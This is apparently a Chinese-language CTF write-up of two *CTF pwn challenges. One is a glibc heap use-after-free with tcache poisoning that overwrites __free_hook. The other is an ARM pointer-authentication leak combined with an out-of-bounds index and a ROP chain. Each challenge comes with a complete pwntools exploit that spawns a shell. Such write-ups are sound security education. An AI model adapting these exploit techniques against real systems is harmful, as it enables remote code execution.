打了这次*ctf,wtcl,arm pwn不会,kernel也不会,pwn只出了一道比较简单的堆题。
先记录下来吧,其他的题目如果有复现就发上来
babyheap
glibc版本虽然是2.27,但是题目使用的libc是修复过的libc,tcache_entry结构体中存在key指针去检测double free,注意绕过即可
delete处存在UAF,edit可以覆写被释放的堆块,
但是edit处与一般的堆题有所不同,不能直接改写fd了,可以利用UAF构造块堆叠,去覆写下一个堆块的内容
read(0, (pools[v1] + 8LL), (sizes[v1] - 8))
leavename中有开大堆的操作,可以通过malloc consolidate合并出一个small bin,再去构造unsorted bin
exp:
from pwn import*
#p = process('./pwn')
p = remote('52.152.231.198',8081)
context.log_level = 'debug'
elf = ELF('./pwn')
#libc = elf.libc
libc = ELF('./libc.so.6')
def menu(idx):
p.sendlineafter('>>',str(idx))
def add(idx,size):
menu(1)
p.sendlineafter('input index',str(idx))
p.sendlineafter('input size',str(size))
def delete(idx):
menu(2)
p.sendlineafter('input index',str(idx))
def edit(idx,content):
menu(3)
p.sendlineafter('input index',str(idx))
p.sendafter('input content',content)
def show(idx):
menu(4)
p.sendlineafter('input index',str(idx))
def leavename(name):
menu(5)
p.sendafter('your name:',name)
def showname():
menu(6)
add(0,0x58)
for i in range(1,9):
add(i,0x58)
add(10,0x58)
for i in range(7):
delete(0)
edit(0,p64(0))
show(0)
p.recvline()
heap_addr = u64(p.recv(6).ljust(8,'x00'))-0x260
log.info('heap:'+hex(heap_addr))
for i in range(1,9):
delete(i)
leavename('a'*8)
show(3)
libc_base = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))-96-0x10-libc.sym['__malloc_hook']
log.info('libc:'+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base +libc.sym['system']
#gdb.attach(p)
add(9,0x48)
add(10,0x48)
add(11,0x48)
#gdb.attach(p)
edit(1,p64(0)*8+p64(0x51)+p64(0))
delete(11)
delete(10)
#gdb.attach(p)
edit(1,p64(0)*8+p64(0x51)+p64(free_hook-8))
add(12,0x48)
add(13,0x48)
edit(13,p64(system))
edit(1,p64(0)*8+p64(0x51)+'/bin/shx00')
#gdb.attach(p)
delete(12)
p.interactive()
babypac
当时没做出来,现在对其进行复现
涉及到ARMv8.3的一个机制
PAC(Pointer Authentication Code)
详情可以参照p0的报告
大概就是在函数返回的时候,会在函数的高位插入一个字节。用于验证返回地址是否被劫持(类似于canary)
关键汇编
.text:0000000000400B70 LDURSW X8, [X29,#idx]
.text:0000000000400B74 LSL X8, X8, #4
.text:0000000000400B78 ADRL X9, pool
.text:0000000000400B80 LDR X8, [X9,X8]
.text:0000000000400B84 STR X8, [SP,#0x20+var_10]
.text:0000000000400B88 LDR X8, [SP,#0x20+var_10]
.text:0000000000400B8C PACIA X8, SP
.text:0000000000400B90 STR X8, [SP,#0x20+var_10]
.text:0000000000400B94 LDR X0, [SP,#0x20+var_10]
.text:0000000000400B98 STR X9, [SP,#0x20+var_20]
.text:0000000000400B9C BL enc
可以用gdb动态调试进去看,最后进入enc的数据是被PAC加密过
所以要泄漏地址,去把高位加密的字节给泄漏出来
程序逻辑分析
存在一个结构体
typedef struct {
size_t num ;
size_t locked;
}pool;
全局变量 结构体数组pool[5]
add :
pool[idx].num = num
pool[idx].locked = 0
locked :
pool[idx].num = enc(pool[idx].num)
pool[idx].locked = -1
show:
result = printf("name: %s
", name);
for ( i = 0; i < 5; ++i )
{
if ( pool[i].num )
{
if ( pool[i].locked == 1 )
result = printf("%d: **censored**
", i);
else
result = printf("%d: %ld
", i, pool[i].num);
}
}
auth:
__int64 result; // x0
__int64 v1; // [xsp+0h] [xbp-20h]
printf("idx: ");
result = read_num();
if ( result < 5 && *&name[16 * result + 32] && *&name[16 * result + 40] == 1LL )
{
v1 = *&name[16 * result + 32];
result = enc(0x10A9FC70042LL);
if ( v1 == result )
result = win();
}
return result;
存在下标越界,可以输入负数idx,name刚好在数组的上面,可以配合name进行操作
bypass auth函数之后,可以进入win函数,就一个白给的栈溢出,ret2csu直接拿下
但是因为本题存在PAC,所以我们需要先泄漏地址,使用下标越界去修改name,顺便把locked给绕过
name = p64(csu1)+p64(0)
name += p64(1145141919810)+p64(0)
p.sendafter("name: ", name)
lock(-2)
lock(-1) #bypass enc
show() #leak address
泄漏出来的地址是加密过的,所以需要还原加密地址,请逆向师傅帮我写了解密函数。
最后进入到栈溢出环节
rop = b'a'*0x28 #padding
rop += p64(addr) #ret address
rop += p64(0) #x29
rop += p64(csu2) #x30
rop += p64(0) #x19
rop += p64(1) #x20
rop += p64(0x411fd8) #x21
rop += p64(0) #x22
rop += p64(0x412050) #x23
rop += p64(0x100) #x24
rop += p64(0x412050) #x29
rop += p64(0x412050) #x30
完整exp:
from pwn import*
context.arch = "aarch64"
#context.log_level = 'debug'
binary = './chall'
debug = 0
if debug:
p = process(['qemu-aarch64',"-cpu","max",'-L','.','-g','1234',binary])
else:
p = process(['qemu-aarch64',"-cpu","max",'-L','.',binary])
def menu(idx):
p.sendlineafter(">>",str(idx))
def add(num,idx):
menu(1)
p.sendlineafter("identity: ",str(idx))
sleep(0.1)
p.sendline(str(num))
def lock(idx):
menu(2)
p.sendlineafter("idx: ",str(idx))
def show():
menu(3)
def auth(idx):
menu(4)
p.sendlineafter("idx: ",str(idx))
def dec_r(res, shift, bits=64):
tmp = res
for i in range(bits // shift):
tmp = res ^ tmp >> shift
return tmp&(2**64-1)
def dec_l(res, shift, bits=64):
tmp = res
for i in range(bits // shift):
tmp = res ^ tmp <<shift
return tmp&(2**64-1)
csu1 = 0x400ff8
csu2 = 0x400fd8
name = p64(csu1) + p64(0)
name += p64(1145141919810) + p64(0)
p.sendafter("name: ", name)
lock(-2)
lock(-1)
show()
p.recvuntil("name: ")
leak = u64(p.recv(8))
info('leak : '+str(leak))
addr = dec_r(leak,13)
addr = dec_l(addr,31)
addr = dec_r(addr,11)
addr = dec_l(addr,7)
log.info("correct addr:" +hex(addr))
rop = b'a'*0x28 #padding
rop += p64(addr) #ret address
rop += p64(0) #x29
rop += p64(csu2) #x30
rop += p64(0) #x19
rop += p64(1) #x20
rop += p64(0x411fd8) #x21
rop += p64(0) #x22
rop += p64(0x412050) #x23
rop += p64(0x100) #x24
rop += p64(0x412050) #x29
rop += p64(0x412050) #x30
auth(-1)
p.send(rop)
sleep(0.1)
p.send(asm(shellcraft.sh()))
p.interactive()
后来看到有些师傅是爆破首位地址打出来的
爆破pac加密的指针的首位字节。
exp 1/256 的概率打通
reference:
https://github.com/sixstars/starctf2021/tree/main/pwn-babypac